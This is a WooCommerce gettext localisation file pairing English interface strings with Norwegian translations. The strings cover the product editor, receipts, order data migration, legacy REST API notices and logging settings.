msgid "Product custom fields toggle control"
msgstr "Kontroll for å veksle mellom egendefinerte produktfelt"
#: assets/client/admin/product-editor/blocks/generic/product-select-field/block.json
#: assets/client/admin/product-editor/blocks/generic/select/block.json
msgctxt "block keyword"
msgid "select"
msgstr "velg"
#: assets/client/admin/product-editor/blocks/generic/product-select-field/block.json
#: assets/client/admin/product-editor/blocks/generic/select/block.json
msgctxt "block description"
msgid "A select field for use in the product editor."
msgstr "Et valgfelt for bruk i produktredigeringsprogrammet."
#: assets/client/admin/product-editor/blocks/generic/product-select-field/block.json
#: assets/client/admin/product-editor/blocks/generic/select/block.json
msgctxt "block title"
msgid "Product select field"
msgstr "Produktvalgfelt"
#: includes/admin/settings/class-wc-settings-site-visibility.php:27
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Site visibility"
msgstr "Nettstedsynlighet"
#: src/Internal/ComingSoon/ComingSoonAdminBarBadge.php:55
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Live"
msgstr "Åpen"
#. Translators: %s Domain name from the callback URL.
#: templates/auth/form-grant-access.php:48
msgid "Approving will share credentials with %s. Do not proceed if this looks suspicious in any way."
msgstr "Godkjenning vil dele legitimasjon med %s. Ikke fortsett hvis dette ser mistenkelig ut på noen måte."
#. translators: 1 = who installed the plugin, 2 = ISO-formatted date and time
#: src/Internal/Utilities/PluginInstaller.php:258
msgid "Plugin installed by %1$s on %2$s."
msgstr "Plugin installert av %1$s på %2$s."
#. translators: 1 = who installed the plugin, 2 = ISO-formatted date and time,
#. 3 = URL
#: src/Internal/Utilities/PluginInstaller.php:255
msgid "Plugin installed by %1$s on %2$s. <a target=\"_blank\" href=\"%3$s\">More information</a>"
msgstr "Plugin installert av %1$s på %2$s. <a target=\"_blank\" href=\"%3$s\">Mer informasjon</a>"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:892
msgid "Enter an optional note attached to the order confirmation message sent to the shopper."
msgstr "Fyll inn et valgfritt notat som legges ved ordrebekreftelsen som sendes til kunden."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:891
msgid "Post-purchase note"
msgstr "Notat etter kjøp"
#. translators: %1$s: Custom fields guide link opening tag. %2$s: Custom fields
#. guide link closing tag.
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:658
msgid "Custom fields can be used in a variety of ways, such as sharing more detailed product information, showing more input fields, or for internal inventory organization. %1$sRead more about custom fields%2$s"
msgstr "Egendefinerte felt kan brukes på en rekke ulike måter, for eksempel til å dele mer detaljert produktinformasjon, vise flere inndatafelt eller til intern lagerorganisering. %1$sLes mer om egendefinerte felt%2$s"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:655
msgid "Custom fields"
msgstr "Egendefinerte felt"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:645
msgid "Show custom fields"
msgstr "Vis egendefinerte felt"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:620
msgid "Use global attributes to allow shoppers to filter and search for this product. Use custom attributes to provide detailed product information."
msgstr "Bruk globale attributter for å la kundene filtrere og søke etter dette produktet. Bruk egendefinerte attributter for å gi detaljert produktinformasjon."
#. translators: %1$s: store settings link opening tag. %2$s: store settings
#. link closing tag.
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:158
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:236
msgid "Per your %1$sstore settings%2$s, taxes are not enabled."
msgstr "I henhold til %1$sbutikkinnstillingene%2$s er avgifter ikke aktivert."
#. translators: %d is an order ID.
#: src/Internal/DataStores/Orders/OrdersTableDataStore.php:672
msgid "Unable to create backup post for order %d."
msgstr "Kunne ikke opprette sikkerhetskopipost for ordre %d."
#. translators: %s is a list of order property names.
#: src/Internal/DataStores/Orders/LegacyDataHandler.php:560
msgid "%s is not a valid order property."
msgid_plural "%s are not valid order properties."
msgstr[0] "%s er ikke en gyldig ordreegenskap."
msgstr[1] "%s er ikke gyldige ordreegenskaper."
#. translators: %s is a comma separated list of metakey names.
#: src/Internal/DataStores/Orders/LegacyDataHandler.php:534
msgid "%s is an internal meta key. Use --props to set it."
msgid_plural "%s are internal meta keys. Use --props to set them."
msgstr[0] "%s er en intern metanøkkel. Bruk --props for å angi den."
msgstr[1] "%s er en interne metanøkler. Bruk --props for å angi dem."
#: src/Internal/DataStores/Orders/LegacyDataHandler.php:383
msgid "The backup datastore does not support updating orders."
msgstr "Backup-datalageret støtter ikke oppdatering av ordrer."
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:161
msgid "New custom field name"
msgstr "Nytt navn på egendefinert felt"
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:568
msgid "Please review the errors above."
msgstr "Gå gjennom feilene ovenfor."
#. translators: %1$s is the node install command, %2$s is the install command,
#. %3$s is the build command, %4$s is the watch command.
#: src/Blocks/Domain/Bootstrap.php:192
msgid "WooCommerce Blocks development mode requires files to be built. From the root directory, run %1$s to ensure your node version is aligned, run %2$s to install dependencies, %3$s to build the files or %4$s to build the files and watch for changes."
msgstr "WooCommerce Blocks utviklingsmodus krever at filer bygges. Fra rotkatalogen kan du kjøre %1$s for å sikre at nodeversjonen er tilpasset, kjøre %2$s for å installere avhengigheter, %3$s for å bygge filene eller %4$s for å bygge filene og se etter endringer."
#: src/Blocks/Assets/AssetDataRegistry.php:423
msgid "Overriding existing data with an already registered key is not allowed"
msgstr "Det er ikke tillatt å overstyre eksisterende data med en allerede registrert nøkkel"
#: src/Blocks/Assets/AssetDataRegistry.php:415
msgid "Key for the data being registered must be a string"
msgstr "Nøkkel for dataene som registreres, må være en streng"
#: src/Admin/Features/ProductBlockEditor/Init.php:453
msgid "The metaboxhidden_product meta from the user metas."
msgstr "Metaen metaboxhidden_product fra brukermetaene."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:752
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3320
msgid "Set up your payment methods and accept credit and debit cards, cash, bank transfers and money from your Mercado Pago account. Offer safe and secure payments with Latin America’s leading processor."
msgstr "Konfigurer betalingsmåtene dine og ta imot kreditt- og debetkort, kontanter, bankoverføringer og penger fra Mercado Pago-kontoen din. Tilby trygge og sikre betalinger med Latin-Amerikas ledende betalingsformidler."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:751
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3319
msgid "Mercado Pago"
msgstr "Mercado Pago"
#: src/Admin/Features/OnboardingTasks/Tasks/Tax.php:70
#: assets/client/admin/chunks/5875.js:1
msgid "Collect sales tax"
msgstr "Innkreve omsetningsavgift"
#: src/Admin/Features/OnboardingTasks/Tasks/Products.php:53
#: assets/client/admin/chunks/customize-store.js:1
msgid "Add your products"
msgstr "Legg til produktene dine"
#: src/Admin/Features/OnboardingTasks/Tasks/Marketing.php:60
#: assets/client/admin/chunks/5875.js:1
msgid "Grow your business"
msgstr "Få virksomheten til å vokse"
#: src/Admin/Features/OnboardingTasks/Tasks/LaunchYourStore.php:47
msgid "It's time to celebrate – you're ready to launch your store! Woo! Hit the button to preview your store and make it public."
msgstr "Det er på tide å feire - du er klar til å lansere butikken din! Woo! Trykk på knappen for å forhåndsvise butikken din og offentliggjøre den."
#: src/Admin/Features/OnboardingTasks/Tasks/LaunchYourStore.php:38
#: assets/client/admin/chunks/launch-store.js:1
msgid "Launch your store"
msgstr "Start butikken din"
#: src/Admin/Features/OnboardingTasks/Tasks/ExperimentalShippingRecommendation.php:29
#: assets/client/admin/chunks/5875.js:1
msgid "Get your products shipped"
msgstr "Få produktene dine sendt"
#. translators: %s is a product's current (sale) price.
#: includes/wc-formatting-functions.php:1370
msgid "Current price is: %s."
msgstr "Nåværende pris er: %s."
#. translators: %s is a product's regular price.
#: includes/wc-formatting-functions.php:1361
msgid "Original price was: %s."
msgstr "Opprinnelig pris var: %s."
#. translators: %s: Link to the editor page with the Checkout block.
#: includes/customizer/class-wc-shop-customizer.php:282
msgid "Checkout can be customized <a href=\"%s\">in the Editor</a> with your active theme."
msgstr "Kassen kan tilpasses <a href=\"%s\">i redigeringsverktøyet</a> med det aktive temaet ditt."
#. translators: 1 = URL of Legacy REST API plugin page, 2 = URL of Legacy API
#. settings in current site, 3 = URL of webhooks settings in current site, 4 =
#. URL of logs page in current site, 5 = URL of blog post about the Legacy REST
#. API removal
#: includes/class-wc-install.php:1563
msgid "⚠️ WooCommerce attempted to install <a href=\"%1$s\">the Legacy REST API plugin</a> because this site has <a href=\"%2$s\">the Legacy REST API enabled</a> or has <a href=\"%3$s\">legacy webhooks defined</a>, but the installation failed (see error details in <a href=\"%4$s\">the WooCommerce logs</a>). Please install and activate the plugin manually. <a href=\"%5$s\">More information</a>"
msgstr "⚠️ WooCommerce forsøkte å installere <a href=\"%1$s\">Legacy REST API-plugin</a> fordi dette nettstedet har <a href=\"%2$s\">Legacy REST API aktivert</a> eller har <a href=\"%3$s\">definert eldre webhooks</a>, men installasjonen mislyktes (se feilinformasjon i <a href=\"%4$s\">WooCommerce-loggene</a>). Vennligst installer og aktiver plugin-modulen manuelt. <a href=\"%5$s\">Mer informasjon om dette</a>"
#. translators: 1 = URL of Legacy REST API plugin page, 2 = URL of Legacy API
#. settings in current site, 3 = URL of webhooks settings in current site, 4 =
#. URL of blog post about the Legacy REST API removal
#: includes/class-wc-install.php:1549
msgid "ℹ️ WooCommerce installed and activated <a href=\"%1$s\">the Legacy REST API plugin</a> because this site has <a href=\"%2$s\">the Legacy REST API enabled</a> or has <a href=\"%3$s\">legacy webhooks defined</a>. <a href=\"%4$s\">More information</a>"
msgstr "ℹ️ WooCommerce installerte og aktiverte <a href=\"%1$s\">Legacy REST API-plugin</a> fordi dette nettstedet har <a href=\"%2$s\">Legacy REST API aktivert</a> eller har <a href=\"%3$s\">definert eldre webhooks</a>. <a href=\"%4$s\">Mer informasjon om dette</a>"
#: includes/class-wc-install.php:1540
msgid "WooCommerce installed the Legacy REST API plugin but failed to activate it, see context for more details."
msgstr "WooCommerce installerte Legacy REST API-plugin-modulen, men klarte ikke å aktivere den, se kontekst for mer informasjon."
#. translators: 1 = URL of Legacy REST API plugin page, 2 = URL of Legacy API
#. settings in current site, 3 = URL of webhooks settings in current site, 4 =
#. URL of logs page in current site, 5 = URL of plugins page in current site, 6
#. = URL of blog post about the Legacy REST API removal
#: includes/class-wc-install.php:1530
msgid "⚠️ WooCommerce installed <a href=\"%1$s\">the Legacy REST API plugin</a> because this site has <a href=\"%2$s\">the Legacy REST API enabled</a> or has <a href=\"%3$s\">legacy webhooks defined</a>, but it failed to activate it (see error details in <a href=\"%4$s\">the WooCommerce logs</a>). Please go to <a href=\"%5$s\">the plugins page</a> and activate it manually. <a href=\"%6$s\">More information</a>"
msgstr "⚠️ WooCommerce installerte <a href=\"%1$s\">Legacy REST API-plugin</a> fordi dette nettstedet har <a href=\"%2$s\">Legacy REST API aktivert</a> eller har <a href=\"%3$s\">definert eldre webhooks</a>, men klarte ikke å aktivere den (se feilinformasjon i <a href=\"%4$s\">WooCommerce-loggene</a>). Gå til <a href=\"%5$s\">plugins-siden</a> og aktiver den manuelt. <a href=\"%6$s\">Mer informasjon om dette</a>"
#. translators: %s: coupon code
#: includes/class-wc-coupon.php:1071 includes/class-wc-coupon.php:1300
msgid "Please enter a valid email at checkout to use coupon code \"%s\"."
msgstr "Oppgi en gyldig e-postadresse i kassen for å bruke rabattkoden «%s»."
#. translators: %s: coupon code
#: includes/class-wc-coupon.php:1065 includes/class-wc-coupon.php:1305
msgid "Please enter a valid email to use coupon code \"%s\"."
msgstr "Du må fylle inn en gyldig e-post for å bruke rabattkoden «%s»."
#. Translators: %s: Log directory path.
#: includes/admin/views/html-admin-page-status-report.php:147
msgid "To allow logging, make %s writable."
msgstr "Gjør %s skrivbar for å tillate logging."
#. translators: %s: Local pickup settings page URL.
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:245
msgid "Local pickup: Set up pickup locations in the <a href=\"%s\">Local pickup settings page</a>."
msgstr "Lokal henting: Konfigurer hentesteder på <a href=\"%s\">siden Innstillinger</a> for lokal henting."
#. translators: %s: Local pickup settings page URL.
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:237
msgid "Explore a new enhanced delivery method that allows you to easily offer one or more pickup locations to your customers in the <a href=\"%s\">Local pickup settings page</a>."
msgstr "Utforsk en ny og, forbedret leveringsmåte som gjør det enkelt å tilby kundene ett eller flere hentesteder på <a href=\"%s\">innstillingssiden for lokal henting</a>."
#: includes/admin/settings/class-wc-settings-advanced.php:353
msgid "Gathering usage data allows us to tailor your store setup experience, offer more relevant content, and help make WooCommerce better for everyone."
msgstr "Ved å samle inn bruksdata kan vi skreddersy butikkoppsettet ditt, tilby mer relevant innhold og bidra til å gjøre WooCommerce bedre for alle."
#. translators: 1: Woo Update Manager plugin install URL 2: Woo Update Manager
#. plugin download URL
#: includes/admin/helper/views/html-notice-woo-updater-not-installed.php:17
msgid "Please <a href=\"%1$s\">Install the WooCommerce.com Update Manager</a> to continue receiving the updates and streamlined support included in your WooCommerce.com subscriptions. Alternatively, you can <a href=\"%2$s\">download</a> and install it manually."
msgstr "<a href=\"%1$s\">Installer WooCommerce.com Update Manager</a> for å fortsette å motta oppdateringene og den strømlinjeformede brukerstøtten som er inkludert i WooCommerce.com-abonnementene dine. Du kan også <a href=\"%2$s\">laste ned</a> og installere den manuelt."
#. translators: 1: WP plugin management URL
#: includes/admin/helper/views/html-notice-woo-updater-not-activated.php:17
msgid "Please <a href=\"%1$s\">activate the WooCommerce.com Update Manager</a> to continue receiving the updates and streamlined support included in your WooCommerce.com subscriptions."
msgstr "<a href=\"%1$s\">Aktiver WooCommerce.com Update Manager</a> for å fortsette å motta oppdateringene og den strømlinjeformede brukerstøtten som er inkludert i WooCommerce.com-abonnementene dine."
#: includes/admin/helper/class-wc-helper-updater.php:258
msgid " Activate WooCommerce.com Update Manager to update."
msgstr " Aktiver WooCommerce.com Update Manager for å oppdatere."
#. translators: 1: Woo Update Manager plugin install URL
#: includes/admin/helper/class-wc-helper-updater.php:245
msgid " <a href=\"%1$s\">Install WooCommerce.com Update Manager</a> to update."
msgstr " <a href=\"%1$s\">Installer WooCommerce.com Update Manager</a> for å oppdatere."
#: assets/client/admin/product-editor/blocks/generic/product-text-area-field/block.json
#: assets/client/admin/product-editor/blocks/generic/text-area/block.json
msgctxt "block keyword"
msgid "rich-text"
msgstr "rik-tekst"
#: assets/client/admin/product-editor/blocks/generic/product-text-area-field/block.json
#: assets/client/admin/product-editor/blocks/generic/text-area/block.json
msgctxt "block keyword"
msgid "textarea"
msgstr "tekstområde"
#: assets/client/admin/product-editor/blocks/generic/product-text-area-field/block.json
#: assets/client/admin/product-editor/blocks/generic/text-area/block.json
msgctxt "block description"
msgid "A text-area field for use in the product editor."
msgstr "Et tekstområde-felt for bruk i produktredigeringsverktøyet."
#: assets/client/admin/product-editor/blocks/generic/product-text-area-field/block.json
#: assets/client/admin/product-editor/blocks/generic/text-area/block.json
msgctxt "block title"
msgid "Product textarea block"
msgstr "Blokk for produkttekstområde"
#: assets/client/admin/product-editor/blocks/generic/product-subsection-description/block.json
#: assets/client/admin/product-editor/blocks/generic/product-subsection/block.json
#: assets/client/admin/product-editor/blocks/generic/subsection-description/block.json
#: assets/client/admin/product-editor/blocks/generic/subsection/block.json
msgctxt "block keyword"
msgid "subsection"
msgstr "underavsnitt"
#: assets/client/admin/product-editor/blocks/generic/product-subsection-description/block.json
#: assets/client/admin/product-editor/blocks/generic/subsection-description/block.json
msgctxt "block description"
msgid "The product subsection description."
msgstr "Beskrivelsen av produkt-underavsnitt."
#: assets/client/admin/product-editor/blocks/generic/product-subsection-description/block.json
#: assets/client/admin/product-editor/blocks/generic/subsection-description/block.json
msgctxt "block title"
msgid "Product subsection description"
msgstr "Beskrivelse av produkt-underavsnitt"
#. translators: %s: field name
#: src/StoreApi/Schemas/V1/AbstractAddressSchema.php:189
msgid "Invalid %s provided."
msgstr "Ugyldig %s angitt."
#: src/Internal/RestApiControllerBase.php:139
#: src/Internal/RestApiControllerBase.php:161
msgid "Internal server error"
msgstr "Intern serverfeil"
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:378
#: src/Internal/RestApiControllerBase.php:182
#: src/RestApi/Routes/V4/AbstractController.php:267
msgid "Sorry, you cannot delete resources."
msgstr "Beklager, du kan ikke slette ressurser."
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:366
#: src/Internal/RestApiControllerBase.php:178
#: src/RestApi/Routes/V4/AbstractController.php:255
msgid "Sorry, you cannot create resources."
msgstr "Beklager, du kan ikke opprette ressurser."
#: includes/rest-api/Controllers/Version4/Fulfillments/class-wc-rest-fulfillments-v4-controller.php:362
#: src/Internal/RestApiControllerBase.php:174
#: src/RestApi/Routes/V4/AbstractController.php:251
msgid "Sorry, you cannot view resources."
msgstr "Beklager, du kan ikke se ressurser."
#: src/Internal/ReceiptRendering/ReceiptRenderingRestController.php:192
msgid "True to force the creation of a new receipt even if one already exists and has not expired yet."
msgstr "Sant for å tvinge opprettelsen av en ny kvittering, selv om en allerede eksisterer og ikke har utløpt ennå."
#: src/Internal/ReceiptRendering/ReceiptRenderingRestController.php:185
msgid "Number of days to be added to the current date to get the expiration date."
msgstr "Antall dager som skal legges til gjeldende dato for å få utløpsdatoen."
#: src/Internal/ReceiptRendering/ReceiptRenderingRestController.php:178
msgid "Expiration date formatted as yyyy-mm-dd."
msgstr "Utløpsdato formatert som åååå-mm-dd."
#: src/Internal/ReceiptRendering/ReceiptRenderingRestController.php:154
msgid "Expiration date of the receipt, formatted as yyyy-mm-dd."
msgstr "Utløpsdato for kvitteringen, formatert som åååå-mm-dd."
#: src/Internal/ReceiptRendering/ReceiptRenderingRestController.php:148
msgid "Public url of the receipt."
msgstr "Offentlig nettadresse for kvitteringen."
#: src/Internal/Orders/OrderActionsRestController.php:39
#: src/Internal/Orders/OrderActionsRestController.php:59
#: src/Internal/Orders/OrderActionsRestController.php:79
#: src/Internal/ReceiptRendering/ReceiptRenderingRestController.php:131
#: src/Internal/ReceiptRendering/ReceiptRenderingRestController.php:172
msgid "Unique identifier of the order."
msgstr "Unik identifikator for ordren."
#: src/Internal/Orders/OrderActionsRestController.php:106
#: src/Internal/ReceiptRendering/ReceiptRenderingRestController.php:103
msgid "Order not found"
msgstr "Ordre ble ikke funnet"
#: src/Internal/ReceiptRendering/ReceiptRenderingRestController.php:73
msgid "Receipt not found"
msgstr "Kvittering ble ikke funnet"
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:397
msgid "Account Type"
msgstr "Kontotype"
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:396
msgid "AID"
msgstr "AID"
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:395
msgid "Application Name"
msgstr "Applikasjonsnavn"
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:390
msgid "Payment method"
msgstr "Betalingsmåte"
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:389
msgid "Date Paid"
msgstr "Betalingsdato"
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:369
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:388
msgid "Amount Paid"
msgstr "Betalt beløp"
#. translators: %s = comma-separated list of coupon codes
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:329
msgid "Discount (%s)"
msgstr "Rabatt (%s)"
#. translators: %d = order id
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:290
msgid "Summary: Order #%d"
msgstr "Sammendrag: Ordrenr. %d"
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:284
msgid "Receipt"
msgstr "Kvittering"
#. translators: %s = store name
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:282
msgid "Receipt from %s"
msgstr "Kvittering fra %s"
#: src/Internal/OrderCouponDataMigrator.php:229
msgid "Background process for coupon meta conversion stopped"
msgstr "Bakgrunnsprosessen for konvertering av rabattkodemeta stoppet opp"
#: src/Internal/OrderCouponDataMigrator.php:225
msgid "Background process for coupon meta conversion not started, nothing done."
msgstr "Bakgrunnsprosessen for konvertering av rabattkodemeta er ikke startet, ingenting er gjort."
#: src/Internal/OrderCouponDataMigrator.php:212
msgid "Background process for coupon meta conversion started"
msgstr "Bakgrunnsprosessen for konvertering av rabattkodemeta er startet"
#: src/Internal/OrderCouponDataMigrator.php:208
msgid "Background process for coupon meta conversion already started, nothing done."
msgstr "Bakgrunnsprosessen for konvertering av rabattkodemeta er allerede startet, ingenting er gjort."
#. translators: %d=count of entries pending conversion
#: src/Internal/OrderCouponDataMigrator.php:190
msgid "This will convert <code>coupon_data</code> order item meta entries to simplified <code>coupon_info</code> entries. The conversion will happen overtime in the background (via Action Scheduler). There are currently %d entries that can be converted."
msgstr "Dette vil konvertere <code>coupon_data</code> metaoppføringer for ordreelementer til forenklede <code>coupon_info</code>-oppføringer. Konverteringen vil skje over tid i bakgrunnen (via handlingsplanleggeren). Det er for øyeblikket %d oppføringer som kan konverteres."
#: src/Internal/OrderCouponDataMigrator.php:186
msgid "Convert order coupon data to the simplified format"
msgstr "Konverter rabattkodedata i ordrer til forenklet format"
#. translators: %d=count of entries pending conversion
#: src/Internal/OrderCouponDataMigrator.php:181
msgid "This will stop the background process that converts <code>coupon_data</code> order item meta entries to simplified <code>coupon_info</code> entries. There are currently %d entries that can be converted."
msgstr "Dette vil stoppe bakgrunnsprosessen som konverterer <code>coupon_data</code> metaoppføringer for ordreelementer til forenklede <code>coupon_info</code>-oppføringer. Det er for øyeblikket %d oppføringer som kan konverteres."
#: src/Internal/OrderCouponDataMigrator.php:178
msgid "Stop converting"
msgstr "Stopp konvertering"
#: src/Internal/OrderCouponDataMigrator.php:177
msgid "Stop converting order coupon data to the simplified format"
msgstr "Stopp konvertering av rabattkodedata i ordrer til forenklet format"
#: src/Internal/OrderCouponDataMigrator.php:173
msgid "This will convert <code>coupon_data</code> order item meta entries to simplified <code>coupon_info</code> entries. The conversion will happen overtime in the background (via Action Scheduler). There are currently no entries to convert."
msgstr "Dette vil konvertere <code>coupon_data</code> metaoppføringer for ordreelementer til forenklede <code>coupon_info</code>-oppføringer. Konverteringen vil skje over tid i bakgrunnen (via handlingsplanleggeren). Det er for øyeblikket ingen oppføringer å konvertere."
#: src/Internal/OrderCouponDataMigrator.php:171
#: src/Internal/OrderCouponDataMigrator.php:187
msgid "Start converting"
msgstr "Start konvertering"
#: src/Internal/OrderCouponDataMigrator.php:170
msgid "Start converting order coupon data to the simplified format"
msgstr "Start konvertering av rabattkodedata i ordrer til forenklet format"
#. translators: %s: Font family slug.
#: src/Internal/Font/FontFamily.php:67
msgid "A font family with slug \"%s\" already exists."
msgstr "En skriftfamilie med identifikatoren \"%s\" finnes allerede."
#: src/Internal/Font/FontFamily.php:38
msgid "The font family preview is required."
msgstr "Forhåndsvisning av skriftfamilie er påkrevd."
#: src/Internal/Font/FontFamily.php:30
msgid "The font family name is required."
msgstr "Navn for skriftfamilie er påkrevd."
#: src/Internal/Font/FontFace.php:242
msgid "The font face src is required."
msgstr "Skrifttype-src er påkrevd."
#: src/Internal/Font/FontFace.php:234
msgid "The font face weight is required."
msgstr "Skrifttypevekten er påkrevd."
#: src/Internal/Font/FontFace.php:226
msgid "The font face font style is required."
msgstr "Skrifttypestilen er påkrevd."
#: src/Internal/Font/FontFace.php:218
msgid "The font face family name is required."
msgstr "Skrifttypenavnet er påkrevd."
#. translators: %s: Font face slug.
#: src/Internal/Font/FontFace.php:172
msgid "A font face with slug \"%s\" already exists."
msgstr "En skrifttype med identifikatoren \"%s\" finnes allerede."
#: src/Internal/Font/FontFace.php:68
msgid "Sorry, you are not allowed to upload this file type."
msgstr "Beklager, du har ikke lov til å laste opp denne filtypen."
#. translators: %d is an order ID.
#: src/Internal/DataStores/Orders/LegacyDataHandler.php:301
msgid "%d is not an order or has an invalid order type."
msgstr "%d er ikke en ordre, eller har en ugyldig ordretype."
#: src/Internal/DataStores/Orders/LegacyDataCleanup.php:235
msgid "Order legacy data cleanup process has been started."
msgstr "Oppryddingsprosessen for eldre ordredata har startet."
#: src/Internal/DataStores/Orders/LegacyDataCleanup.php:231
msgid "No orders in need of cleanup"
msgstr "Ingen ordrer som trenger opprydning"
#: src/Internal/DataStores/Orders/LegacyDataCleanup.php:228
msgid "Order legacy data cleanup has been canceled."
msgstr "Opprydding av gamle ordredata har blitt avbrutt."
#: src/Internal/DataStores/Orders/LegacyDataCleanup.php:223
msgid "Clearing data..."
msgstr "Sletter data ..."
#: src/Internal/DataStores/Orders/LegacyDataCleanup.php:216
msgid "Only available when HPOS is authoritative and compatibility mode is disabled."
msgstr "Bare tilgjengelig når HPOS er autoritativ og kompatibilitetsmodus er deaktivert."
#: src/Internal/DataStores/Orders/LegacyDataCleanup.php:207
msgid "Clear data"
msgstr "Slett data"
#: src/Internal/DataStores/Orders/LegacyDataCleanup.php:205
msgid "This tool will clear the data from legacy order tables in WooCommerce."
msgstr "Dette verktøyet vil slette data fra de gamle ordretabellene i WooCommerce."
#: src/Internal/DataStores/Orders/LegacyDataCleanup.php:204
msgid "Clean up order data from legacy tables"
msgstr "Rydd opp i ordredata fra gamle tabeller"
#: src/Internal/DataStores/Orders/LegacyDataCleanup.php:143
msgid "Order legacy cleanup failed for an entire batch of orders. Aborting cleanup."
msgstr "Opprydding av gamle ordrer mislyktes for en hel gruppe med ordrer. Avbryter opprydding."
#. translators: %1$d is an order ID, %2$s is an error message.
#: src/Internal/DataStores/Orders/LegacyDataCleanup.php:134
msgid "Order %1$d legacy data could not be cleaned up during batch process. Error: %2$s"
msgstr "Gamle data for ordre %1$d kunne ikke ryddes opp i under batchprosessen. Feil: %2$s"
#. translators: %s: error message
#: src/Internal/Admin/Onboarding/OnboardingFonts.php:210
msgid "Font Face installation error: %s"
msgstr "Installasjonsfeil for skrifttype: %s"
#. translators: %s is an amount of computer disk space, e.g. 5 KB.
#: src/Internal/Admin/Logging/Settings.php:326
msgid "Directory size: %s"
msgstr "Mappestørrelse: %s"
#. translators: %s is the name of a filter hook.
#: src/Internal/Admin/Logging/Settings.php:224
msgid "The %s hook has a filter set, so some log files may have different retention settings."
msgstr "%s-kroken har et filtersett, så noen loggfiler kan ha andre oppbevaringsinnstillinger."
#. translators: %1$d is an order ID, %2$s and %3$s are datastore names ("hpos"
#. or "posts" for example).
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1220
msgid "Order %1$d backfilled from %2$s to %3$s."
msgstr "Ordre %1$d tilbakefylt fra %2$s to %3$s."
#. translators: %1$d is an order ID, %2$s and %3$s are datastore names, %4$s is
#. an error message.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1208
msgid "An error occurred while backfilling order %1$d from %2$s to %3$s: %4$s"
msgstr "Det oppstod en feil under tilbakefylling av ordre %1$d fra %2$s til %3$s: %4$s"
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1193
msgid "Please use different source (--from) and destination (--to) datastores."
msgstr "Bruk forskjellig kilde- (--fra) og destinasjonsdatalager (--til)."
#. translators: %s is a shell argument representing a datastore name.
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1188
msgid "'%s' is not a valid datastore."
msgstr "«%s» er ikke et gyldig datalager."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:1182
msgid "Please provide a valid order ID."
msgstr "Angi en gyldig ordre-id."
#: src/Blocks/BlockTypes/ProductGallery.php:153
msgid "Next image"
msgstr "Neste bilde"
#: src/Blocks/BlockTypes/ProductGallery.php:152
msgid "Previous image"
msgstr "Forrige bilde"
#. translators: %s is a generated error message.
#: src/Blocks/AIContent/UpdateProducts.php:226
msgid "The image upload failed: \"%s\", creating the product without image"
msgstr "Bildeopplastingen feilet: \"%s\", oppretter produktet uten bilde"
#: src/Admin/RemoteSpecs/RuleProcessors/PluginsActivatedRuleProcessor.php:54
msgid "Invalid plugin slug provided in the plugins activated rule."
msgstr "Ugyldig utvidelsesidentifikator oppgitt i regelen for aktiverte utvidelser."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:784
msgid "The size of the log directory."
msgstr "Størrelsen på loggmappen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:778
msgid "Minimum severity level."
msgstr "Minimum alvorlighetsgrad."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:772
msgid "The number of days log entries are retained."
msgstr "Antall dager loggoppføringer beholdes."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:766
msgid "The logging handler class."
msgstr "Loggbehandlerklassen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:754
msgid "Logging."
msgstr "Logging."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1964
#: src/RestApi/Routes/V4/Orders/Schema/OrderCouponSchema.php:77
msgid "Whether the coupon grants free shipping or not."
msgstr "Hvorvidt rabattkoden gir gratis frakt eller ikke."
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1958
#: src/RestApi/Routes/V4/Orders/Schema/OrderCouponSchema.php:71
msgid "Discount amount as defined in the coupon (absolute value or a percent, depending on the discount type)."
msgstr "Rabattbeløpet slik det er definert på rabattkoden (absolutt verdi eller prosent, avhengig av rabatttypen)."
